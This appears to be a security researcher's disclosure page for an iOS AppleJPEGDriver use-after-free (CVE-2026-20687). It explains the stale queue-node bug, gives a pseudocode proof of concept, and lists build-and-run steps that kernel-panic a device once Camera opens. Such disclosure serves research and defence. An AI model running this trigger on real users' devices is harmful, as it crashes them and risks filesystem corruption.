CVE-2026-20687 — AppleJPEGDriver startDecoder Timeout UAF

CVE-2026-20687 · Enfilade · enfilade.io

Component: Kernel

Impact: An app may be able to cause unexpected system termination or write kernel memory.

Description: A use after free issue was addressed with improved memory management.

— Apple Security Content, iOS 26.4 and iPadOS 26.4

Target

Warning

Running the PoC will kernel-panic the device. Save your work before running. Repeated panics may cause filesystem corruption. For security research purposes only.

Vulnerability

The timeout path in startDecoder_sync frees a request but leaves its embedded queue-node pointer in the per-codec vector. A later queue walk dereferences the stale node and the kernel panics under MTE tag-check enforcement. The panic is typically deferred until a subsequent synchronous JPEG decode runs — on iPhone this reliably occurs when the Camera app is opened.

Proof of Concept

// Primes the driver; the panic is usually deferred until Camera is opened.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
    startDecoder_async();                   // queue_io_gated: vector.push(req + 0x78)
}
IOServiceClose(conn);

// Later, opening Camera triggers:
startDecoder_sync();
    queue_io_gated: vector.push(req + 0x78);
    wait(10s) -> TIMEOUT;
    pool_free(req);                         // BUG: does NOT dequeue (req + 0x78)

// Later still (finish_io_gated):
fullSpeedRequestExist():
    node_ptr = vector[i];                   // stale: node_ptr == (freed req + 0x78)
    req2 = *(node_ptr + 0x8);               // UAF read -> MTE tag fault -> panic

Build & Run

1. Open ios-app/Test.xcodeproj in Xcode.
2. Select a physical iOS device (the simulator will not reach the driver).
3. Build, run, and tap Panic (primes the driver and queues async work).
4. Open the Camera app to trigger the deferred panic.

License

See LICENSE.